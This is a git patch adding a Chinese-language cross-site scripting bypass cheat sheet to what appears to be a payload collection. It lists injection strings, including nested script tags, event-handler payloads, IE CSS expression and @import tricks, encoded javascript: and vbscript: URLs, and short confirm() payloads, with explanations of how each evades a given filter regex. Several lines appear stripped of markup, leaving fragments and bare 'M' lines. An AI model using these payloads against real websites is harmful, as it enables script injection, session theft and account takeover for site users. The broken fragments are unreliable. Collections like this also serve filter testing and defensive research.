From 5ab99aff28bed939d4e31bbb62fcf1611f56fee6 Mon Sep 17 00:00:00 2001 From: InfoSec <1241112575@qq.com> Date: Sat, 6 Aug 2016 13:46:42 +0800 Subject: [PATCH] Add files via upload --- payloads/XSS/XSS-bypass-cn.txt | 380 +++++++++++++++++++++++++++++++++ 1 file changed, 380 insertions(+) create mode 100644 payloads/XSS/XSS-bypass-cn.txt diff --git a/payloads/XSS/XSS-bypass-cn.txt b/payloads/XSS/XSS-bypass-cn.txt new file mode 100644 index 0000000..08340b2 --- /dev/null +++ b/payloads/XSS/XSS-bypass-cn.txt @@ -0,0 +1,380 @@ +XSS-bypass-cn +Script 标签 +绕过进行一次移除操作: +ipt>alert("XSS")ipt> +Script 标签可以用于定义一个行内的脚本或者从其他地方加载脚本: + + + +JavaScript 事件 +我们可以像如下这样在元素中定义 JavaScript 事件: +
+这个 JavaScript 代码当有人点击它后就会被执行,同时还有其他事件如页面加载或移动鼠标都可以触发这些事件。绝大部分的时间都被过滤器所移除了,但是依旧还有少量事件没有被过滤,例如,onmouseenter 事件:
当用户鼠标移动到 div 上时就会触发我们的代码。 +另一个绕过的办法就是在属性和= 之间插入一个空格: +
+ +行内样式(Inline style) +我们同样可以在行内样式里利用 IE 浏览器支持的动态特性: +
+过滤器会检查关键字 style,随后跟随的不能是 <,在随后是 expression: +/style=[^<]*((expression\s*?\([^<]*?\))|(behavior\s*:))[^<]*(?=\>)/Uis +所以,让我们需要把 < 放到其他地方: +
+ +CSS import +IE 浏览器支持在 CSS 中扩展 JavaScript,这种技术称为动态特性(dynamic properties)。允许攻击者加载一个外部 CSS 样式表是相当危险的,因为攻击者现在可以在原始页面中执行 JavaScript 代码了。 + +malicious.css: +body { + color: expression(alert('XSS')); +} +为了绕过对 @import 的过滤,可以在 CSS 中使用反斜杠进行绕过: + +IE 浏览器会接受反斜杠,但是我们绕过了过滤器。 + +Javascript URL +链接标签里可以通过在 URL 中使用 javascript:… 来执行 JavaScript: +link +上面的过滤会从代码中移除 javascript:,所以我们不能直接这么写代码。但我们可以尝试改变 javascript:的写法,使它依旧可以被浏览器执行但又不匹配正则表达式。首先来尝试下 URL 编码: +link +上面这段代码不匹配正则表达式,但是浏览器依旧会执行它,因为浏览器会首先进行 URL 解码操作。 +另外,我们还可以使用 VBScript,虽然它在 IE11 中被禁用了,但依旧可以运行在旧版本的 IE 或者启用兼容模式的 IE11 上。我们可以使用类似上面 JavaScript 的方式来插入 VBScript 代码: +link + +'-confirm`1`-' +'-confirm(1)-' +1 利用字符编码 +%c1;alert(/xss/);// +2 绕过长度限制 +"onclick=alert(1)// +"> + + + + + + + + + + + + +M +M +M +M +M +